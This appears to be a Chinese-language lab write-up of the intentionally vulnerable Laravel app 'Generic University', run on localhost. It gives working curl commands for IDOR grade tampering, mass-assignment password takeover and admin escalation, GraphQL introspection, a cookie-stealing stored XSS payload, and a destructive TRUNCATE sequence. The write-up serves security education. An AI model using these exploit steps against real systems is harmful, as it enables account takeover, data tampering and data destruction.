> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Generic University — API 安全實驗靶機 Writeup
- URL: https://taiwanding.com/generic-university-api-an-quan-shi-yan-ba-ji-writeup/
- Published: 2026-07-17T03:32:20.000Z
- Updated: 2026-07-20T07:18:41.000Z
- Author: Kevin Chen
- Tags: machine, #vulnmachines, #api

**目標：** InsiderPhD 的 *Generic University* ——一套刻意做成有漏洞的 Laravel 7 應用，用來示範 OWASP API Security Top 10（2019）  
**環境：** 本機，`http://localhost:8000`  
**成果：** 15 個目標全數完成: 示範到的漏洞類型：API2（Broken User Authentication）、API3（Excessive Data Exposure）、API5（Broken Function Level Authorization）、API6（Mass Assignment）、API7（Security Misconfiguration），外加一個 stored / blind XSS 與一個壞掉的破壞性端點。

這份 writeup 分兩半：先講「讓一個壞掉的五年老 repo 跑起來」需要做的事（它 ship 出來就帶著好幾個 bug，在現代主機上直接卡死），再講對著跑起來的實例做的實際攻擊鏈——全程黑箱，一個目標一個目標打。

## Part 0 — 環境架設（以及它需要的五個修復）

README 指向一個 Docker「頁面」，但 `master` 分支裡**完全沒有任何 Docker 檔案**——那套設定只存在於外部 wiki，這個 app 是 Laravel 7，它把 **PHP 版本鎖死在 8.0.x**（`composer.json` 要求 `^8.0.1`;Laravel 7 在 PHP 8.1+ 上跑不動），而現在的 Kali 預設是 PHP 8.3/8.4，照文件跑 `composer update` \+ `php artisan serve`，在現代主機上會直接失敗。

乾淨、可重現的做法是一套自帶的 Docker stack：把 PHP 釘在 8.0、對修正過的 lock 檔用 `composer install` 的語義，以下是這套 stack，加上讓 app 能 migrate、seed、serve 之前必須做的五個原始碼層級修復。

這是一鍵修復腳本\~

[setupsetup.sh7 KBdownload-circle](https://taiwanding.com/content/files/2026/07/setup.sh "Download")

### Docker stack

`Dockerfile`:

```dockerfile
FROM php:8.0-apache
RUN apt-get update && apt-get install -y --no-install-recommends \
        git unzip libonig-dev libzip-dev default-mysql-client \
    && docker-php-ext-install pdo_mysql mbstring bcmath zip \
    && a2enmod rewrite \
    && rm -rf /var/lib/apt/lists/*
ENV APACHE_DOCUMENT_ROOT=/var/www/html/public
RUN sed -ri -e 's!/var/www/html!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/sites-available/*.conf \
    && sed -ri -e 's!/var/www/!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/apache2.conf /etc/apache2/conf-available/*.conf
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
WORKDIR /var/www/html
COPY docker-entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh
ENTRYPOINT ["entrypoint.sh"]
CMD ["apache2-foreground"]

```

`docker-compose.yml` 用 `mariadb:10.6`（多架構，避開 MySQL 8 的 `caching_sha2_password` 摩擦、也避開 `mysql:5.7` 沒有 arm64 image 的問題），並把主機 `8000` → 容器 `80`，entrypoint 會複製 `.env`、把 DB 指向 `db` service、跑 `composer` \+ `key:generate`、等資料庫起來，然後 migrate 並 seed 一次。

### 修復 1 — 過期的 `composer.lock`（缺 `rebing/graphql-laravel`）

`composer.json` 要求 `rebing/graphql-laravel ^6.1`，但 committed 的 `composer.lock` 產生於加入它之前、根本沒有這顆，`composer install` 會拿 lock 檔對照 `composer.json`，發現對不上就直接罷工：

```
Required package "rebing/graphql-laravel" is not present in the lock file.

```

因為容器內 PHP 已釘死在 8.0，這裡跑 `composer update` 反而安全乾淨（`update` 之所以危險，是在現代主機的 PHP 上；這裡環境已對），它會重新產生一個含 GraphQL 套件的合法 lock——這很重要，因為「存取 GraphQL API」本身就是一個目標。

### 修復 2 — 所有核心 seeder 都被註解掉

`database/seeds/DatabaseSeeder.php` ship 出來時，五個建資料的 seeder 全被停用，只留「extra grades」那一個：

```php
//$this->call(RoleSeeder::class);
//$this->call(UserSeeder::class);
//$this->call(UniClassSeeder::class);
//$this->call(GradesSeeder::class);
//$this->call(VulnerabilitySeeder::class);
$this->call(ExtraGradesTableSeeder::class);   // only this one runs

```

於是 `db:seed` 不建任何 role/user/class/grade，然後又在唯一會跑的那顆 seeder 裡撞死——因為它依賴前面全部，把那五行解註解就恢復了原本的順序（Role → User → UniClass → Grades → Vulnerability → ExtraGrades）。

### 修復 3 — `UserSeeder` 建的 user 不夠給 `ExtraGrades`

`ExtraGradesTableSeeder` 開頭是 `\App\User::findOrFail(9)`，但 `UserSeeder` 只建 5 個 student + 1 個 admin + 1 個 teacher = **7 個 user**(id 1–7），所以 id 9 根本不存在，seeder 直接丟 `ModelNotFoundException`，把 student 迴圈從 5 拉到 10，就讓 id 9 成為合法 student，符合這顆 seeder 的原意（一個成績很多的目標 user):

```php
for ($i = 0; $i < 10; $i++)   // was < 5

```

### 修復 4 — `ExtraGrades` 主鍵衝突

套完修復 3、seed 走得更遠一點，然後死在：

```
Integrity constraint violation: 1062 Duplicate entry '1-9' for key 'PRIMARY'
(SQL: insert into `uni_class_user` (`uni_class_id`, `user_id`) values (1, 9))

```

`ExtraGradesTableSeeder` 想用 `$class->users()->save($user)` 把 user 9 *加進* 每一堂課，但 `UniClassSeeder` 早就把所有 student 都塞進所有課了，pivot 表的複合主鍵 `(uni_class_id, user_id)` 不准重複。那行 enrollment 是多餘的；把它移除（只留塞 extra grade 的部分），seed 就跑得完。

修復 1–4 都到位後，stack 就能 migrate、seed 出 12 個 user + 5 堂課 + 成績，並在 `http://localhost:8000` 提供服務。

### 修復 5(exploitation 途中發現）— admin `delete` 端點自己的 FK bug

admin API 的 `delete` 功能會用錯誤的順序 `TRUNCATE` 各表、又沒關外鍵檢查，所以一碰到第一個被參照的表就死：

```
Cannot truncate a table referenced in a foreign key constraint
(`generic`.`grades`, CONSTRAINT `grades_uni_class_id_foreign` ...)
(SQL: truncate table `uni_classes`)

```

這是 app 的 bug，不是環境問題——細節見下面目標 #14。正確的實作應該把那些 truncate 包在 `SET FOREIGN_KEY_CHECKS=0; ... SET FOREIGN_KEY_CHECKS=1;` 之間，或按依賴順序刪。

## Part 1 — Recon

`whatweb` 指紋：Apache 2.4.56、PHP 8.0.30、Laravel、Bootstrap 4.4.1、jQuery 3.5.0，以及那組招牌 `XSRF-TOKEN` / `laravel_session` cookie，首頁標題是 *「Generic University - View your Grades」*。

兩趟枚舉最關鍵：

- **Web 路由**（`ffuf` 用 `common.txt` 打 `/`）撈出真正的 Blade 路由：`register`、`login`、`home`、`contact`、`admin`，加上一個 `web.config` 洩漏，以及常見的 Apache 雜訊（`.ht*`、`server-status`、`cgi-bin`）。
- **API 端點**（`ffuf` 打 `/api/FUZZ`）加上對「app 本來就開放的 collection」做有紀律的 REST 枚舉。

recon 最重要的發現，是這個 API 用了**混搭的認證守衛**——不同端點保護方式不同，這件事定調了整條攻擊鏈：

| 端點                                 | 守衛                 | 行為                                   |
| ---------------------------------- | ------------------ | ------------------------------------ |
| GET /api/users、/api/users/{id}     | 無                  | 完全開放，漏光所有欄位                          |
| GET /api/classes、/api/classes/{id} | 無                  | 完全開放                                 |
| GET /api/grades、/api/grades/{id}   | web session        | 任何登入使用者都能讀到**全部**成績                  |
| GET /api/user（單數）                  | token（auth:api）    | 即使帶著有效 session cookie 也 302 → /login |
| GET /api/admin                     | role（role\_id = 1） | 在你變成 admin 之前都 302                   |

編譯後的前端 bundle（`/js/app.js`）是空的，所以這個 SPA 其實從沒真的驅動 API——`/api/*` 是一條要直接打的獨立 API，而 `auth:api` 想要的那個 token 從沒交給瀏覽器，這個死路正是讓「混搭守衛」成為關鍵洞見的原因：你**不需要**那個 token，因為值錢的資料都坐在較弱的守衛（session / role / 無）後面。

## Part 2 — 目標（對應 OWASP API Top 10)

### #1 — 找出管理員 email *(API3：Excessive Data Exposure / API2：Broken User Authentication)*

`GET /api/users` 不帶認證就回傳每一個 user，並把整個 model 序列化出來——`email`、`email_verified_at`、`role_id`、時間戳全在。對照 `role_id`（1 = Admin、2 = Student、3 = Teacher，由 `RoleSeeder` 的插入順序反推）就能鎖定管理員：user id 11、*「IT Raheem Thompson」*、`ijakubowski@gmail.com`。

```bash
curl -s http://localhost:8000/api/users

```

**影響：** 一個公開端點就洩漏了完整使用者名冊，連內部角色分派都露出來——足以單獨鎖定 admin 帳號當目標。

### #2 — 爆破 API 找新端點 *（探測）*

Fuzz `/api/FUZZ` 除了明顯的 collection 外，又找到兩個以 `302 → /login` 現形的認證端點：

```
/api/user    302   (current-user endpoint, token-guarded)
/api/admin   302   (admin API — target of #9)

```

在這裡，`302` 和 `401/403/405` 跟 `200` 一樣有情報價值：它們標示出「存在、但需要認證或換方法」的端點，通用的 `api-endpoints.txt` 字典對這台沒用（只會產生一堆尾斜線轉址雜訊）——真正的攻擊面要照 app 自己的名詞走（`users`、`classes`、`grades`、`user`、`admin`）。

### #3 — 讀出某堂課全部人的成績 *(API1：BOLA / API3)*

`/api/grades` 在 **web session** 守衛後面，所以任何註冊過的 student（見 #5）都能打開它——而它回傳的是**所有 user 的所有成績**，不只呼叫者自己的，依 `uni_class_id` 分組，就能得到某堂課裡每個學生的分數：

```bash
curl -s -b "$CK" http://localhost:8000/api/grades \
 | python3 -c "import sys,json;g=json.load(sys.stdin);c=3;[print(x['user_id'],x['grade']) for x in g if x['uni_class_id']==c]"

```

這正是 IT 團隊記錄下卻放著不管的 *「Information disclosure of grades」*（見 #10），成績物件會露出 `{id, grade, comments, user_id, uni_class_id}`——足以直接接到 #4。

### #4 — 改別人的成績 *(API1：BOLA——寫入）*

同一組 session cookie 加上 CSRF token，就能做物件層級的寫入，`PUT /api/grades/{id}` 接受並套用對**任何**成績的修改，不只呼叫者自己的：

```bash
CSRF=$(curl -s -b "$CK" http://localhost:8000/home | grep -oP 'name="csrf-token" content="\K[^"]+')
curl -s -i -b "$CK" -X PUT http://localhost:8000/api/grades/3 \
  -H "X-CSRF-TOKEN: $CSRF" -H "Content-Type: application/json" -H "Accept: application/json" \
  -d '{"grade":100,"comments":"changed via IDOR"}'

```

grade 3（屬於別人）從 37 被翻成 100，**影響：** 任何已認證的使用者都能未授權竄改學業成績。

### #5 & #8 — 建帳號並登入 *（基礎）*

註冊是標準的 Laravel web 流程——`POST /register`，欄位 `name`、`email`、`password`、`password_confirmation`，加上 CSRF `_token`，成功後 302 → `/home` 並自動登入，拿到的 session cookie 能認證 web 路由，以及（關鍵）上面用到的 session-guarded `/api/grades`，（token-guarded 的 `/api/user` 仍然 302——這反而確認了「混搭守衛」模型，而不是 cookie 壞掉，因為同一個 cookie 打 `/home` 是 200。）

### #6 — 存取 GraphQL API *(API7：Security Misconfiguration)*

`rebing/graphql-laravel` 同時開了 `/graphql` 和 **`/graphiql` IDE**，而且 **introspection 是開的**:

```bash
curl -s -b "$CK" -X POST http://localhost:8000/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}'

```

schema 公告了 `users`、`grades`、`vulnerabilities`、`class`、`roles`。在一個 ship 出去的 app 裡開著 live IDE + introspection 本身就是 misconfiguration，而且這層 GraphQL 通常不套 REST 那邊的授權——是通往同一批敏感資料的第二條平行路徑。

### #7 — 改別人的密碼 *(API6：Mass Assignment)*

`PUT /api/users/{id}` 可 mass-assign，所以攻擊者能對任何 user 物件寫入任意欄位——包括 `password`，但這條更新路徑**存密碼時不 hash**（只有註冊控制器會呼叫 `Hash::make`），所以寫明文只會留下一個沒用的憑證（Laravel 的 `Hash::check` 是拿 bcrypt hash 比對，會失敗），乾淨的打法是寫入一個**預先算好的 bcrypt hash**，讓存進去的值本身就是合法 hash:

```bash
NEWPASS='Hacked12345'
HASH=$(docker exec generic-university-app-1 php -r "echo password_hash('$NEWPASS', PASSWORD_BCRYPT);")
CSRF=$(curl -s -b "$CK" http://localhost:8000/home | grep -oP 'name="csrf-token" content="\K[^"]+')
curl -s -b "$CK" -X PUT http://localhost:8000/api/users/1 \
  -H "X-CSRF-TOKEN: $CSRF" -H "Accept: application/json" \
  --data-urlencode "password=$HASH"
# then log in as user 1 (gabshire@yahoo.com / Hacked12345) → 302 /home

```

用新密碼登入 user 1 就確認了帳號接管，**一發兩個 bug:** 對別人做物件層級寫入，加上這條路徑密碼不 hash。

> 除錯註記：第一次嘗試回 `Column 'password' cannot be null`，根因是 shell，不是 app——`password_hash('...!')` 含 `!`，而在互動式 Bash 的雙引號內，`!` 會觸發歷史展開，把指令搞爛、`$HASH` 變成空的，密碼保持純字母數字（或用單引號）就好，目標上開著 `APP_DEBUG=true`，讓那個確切的例外可以直接讀，而不是用猜的。

### #9 — 存取 admin API *(API5：Broken Function Level Authorization)*

`/api/admin` 只靠 `role_id = 1` 把關，在自我提權（#11）之後，它回傳一份會自我說明的手冊：

```json
[
 {"endpoint":"/",       "desc":"Shows this manual"},
 {"endpoint":"restore", "desc":"Restores the database from last manual backup"},
 {"endpoint":"delete",  "desc":"deletes everything from the database NO BACKUP"}
]

```

純靠翻自己的 role 就搆到 admin 專屬 API，是教科書級的 broken function-level authorization——而且這份手冊還把 #14/#15 要用的兩個破壞性端點直接交給你。

### #10 — 找出 IT 忽略的漏洞 *(API5 / API7)*

admin 控制台 **`/admin` 完全不需要認證就能開**（第二個 BFLA，與 role-gated 的 API 不同），它的 `/admin/security` 頁列出 IT 團隊記錄下、卻放著沒修的漏洞：

- *Information disclosure of grades* ——「知道 user 和 class ID 就能撈到任何學生的成績」（在 #3 驗證）
- *IDOR on most endpoints* ——「大部分 API 都有 IDOR」（在 #4、#7 驗證）

這些等於是官方替本 writeup 別處利用到的 bug 蓋章認證。

### #11 — 把自己變 admin *(API6：Mass Assignment)*

註冊表單沒有 `role_id` 欄位，但後端更新照樣吃它，對自己的 user 物件送 `role_id: 1`，就把自己升成管理員：

```bash
curl -s -i -b "$CK" -X PUT "http://localhost:8000/api/users/13" \
  -H "X-CSRF-TOKEN: $CSRF" -H "Content-Type: application/json" -H "Accept: application/json" \
  -d '{"role_id":1}'
# verify: GET /api/users/13 → "role_id":1

```

剛註冊的 `jimbo`（id 13）變成 admin，這是全場影響最大的一個瑕疵：一條自助式、從未認證到 admin 的提權，直接解鎖 #9、#12、#13、#14。

### #12 — 存取 admin 控制台 *(API5)*

在 `/admin` 早就無認證可達（見 #10）；有了提權後的帳號，它就完全「屬於你」，控制台連向 `/admin/security`，那正是 #13 的 render sink。

### #13 — 在 admin 後台觸發 blind XSS，並用 admin 帳號驗證 *(Stored / Blind XSS)*

**公開的**漏洞回報表單（`POST /vulnerability`，欄位 `email`、`issue`、`information`）會把送出的內容存起來，並在 `/admin/security` 中**未經跳脫**地 render。把 script 注入 `issue`:

```bash
PAYLOAD='<script>new Image().src="/pwned_by_jimbo?c="+document.cookie</script>'
curl -s -i -b "$CK" -X POST http://localhost:8000/vulnerability \
  -H "X-CSRF-TOKEN: $CSRF" \
  --data-urlencode "email=attacker@evil.com" \
  --data-urlencode "issue=$PAYLOAD" \
  --data-urlencode "information=blind xss test"

```

`/admin/security` 於是含有原始、未跳脫的 `<script>…</script>`，用 admin 身分在瀏覽器打開後台就會觸發它——並在伺服器 log 中得到帶外確認：

```
GET /pwned_by_jimbo?c=... HTTP/1.1" 404 ... "http://localhost:8000/admin/security" "... Edg/150.0.0.0"

```

`Referer`（`/admin/security`）和真實瀏覽器的 `User-Agent` 證明 script 是在 admin 的 session 裡執行的。那個 `404` 無關緊要——請求「被發出來」這件事本身就是證據。

**一個值得記的防禦細節：** 被外洩的 `document.cookie` 裡有 `XSRF-TOKEN`，但**沒有** `laravel_session`，因為 session cookie 設了 `HttpOnly`，這個 XSS 偷不到 session 本身（無法直接 session hijack），但仍能在受害者頁面上代替他行動、並讀到 CSRF token。這正是 `HttpOnly` 存在的意義——也是這個 app 唯一做對的一件事。

### #14 — 刪光一切 *(API5——破壞性 admin 功能）*

`GET /api/admin/delete` 能被提權後的 admin 觸發，而且確實開始清空資料庫，但撞上 app 自己的 bug（修復 5）：它用一個會違反外鍵約束的順序 `TRUNCATE` 各表，在 `uni_classes` 上以 `QueryException` 中止，這個*漏洞*——提權後的使用者觸發一個不可回復、無備份的大量刪除——已經示範到了；只是這個 app 太壞、做不完這件事。它原本想做、且用正確方式做的話：

```bash
docker exec generic-university-app-1 mysql -uuni -ppassword generic -e "
SET FOREIGN_KEY_CHECKS=0;
TRUNCATE grades; TRUNCATE uni_class_user; TRUNCATE uni_classes;
TRUNCATE vulnerabilities; TRUNCATE users; TRUNCATE roles;
SET FOREIGN_KEY_CHECKS=1;"

```

**影響：** 一個自我升級的使用者能觸發不可逆、明講「NO BACKUP」的資料庫清空。

### #15 — 還原一切 *（復原）*

admin 的 `restore` 端點依賴一份「last manual backup」，但暴露出來的手冊沒有提供任何建立它的路徑；而且——這正是 #14 的設計——一次成功的 delete 會把授權 restore 所需的那個 admin 帳號一起刪掉，把呼叫者鎖在門外。因此完整還原是靠重新 seed 修正過的資料庫達成：

```bash
docker compose down -v && docker compose up -d   # re-seeds 12 users + 5 classes + grades

```

（剛註冊的攻擊者帳號在重 seed 後不會回來，這是預期內的。）

## Part 3 — 心得

- **混搭的認證守衛對防禦方是陷阱**， 一致性很重要：`/api/user` 要 token、`/api/grades` 卻吃 session、`/api/users` 什麼都不要——這代表最強的那道控制形同虛設，攻擊者只要走最弱的門就能拿到同一批資料。
- **Mass assignment 是這個 app 的脊椎**，一個過度寬鬆的 `update` 就給了你對成績和 user 的物件層級寫入、改密碼、*以及*把自己升成 admin，白名單化可填欄位（而且絕不從 client 接受 `role_id`）就能關掉大半條鏈。
- **更新路徑上密碼不 hash** 是個微妙但高影響的 bug——欄位「有作用」（它有存），卻悄悄存了明文，而它的利用（注入一個 bcrypt hash）很有教學意義。
- **`HttpOnly` 起了作用**，blind XSS 觸發了，卻拿不走 session cookie——一個具體的縱深防禦例子：即使主要控制（輸出編碼）失守，爆炸半徑仍被限縮。
- **過度資料洩漏 + 開放的 GraphQL introspection** 合起來，代表同一批敏感資料有多條平行路徑可達；只修一個 REST 端點卻不管 GraphQL resolver，穀倉大門照樣開著。

*成果：15/15 目標全數完成*，*這台靶機誠實地展示了：一把普通的 Laravel 小錯誤如何層層堆疊，最終串成一整條「未認證 → admin → 資料庫清空」的攻擊鏈。*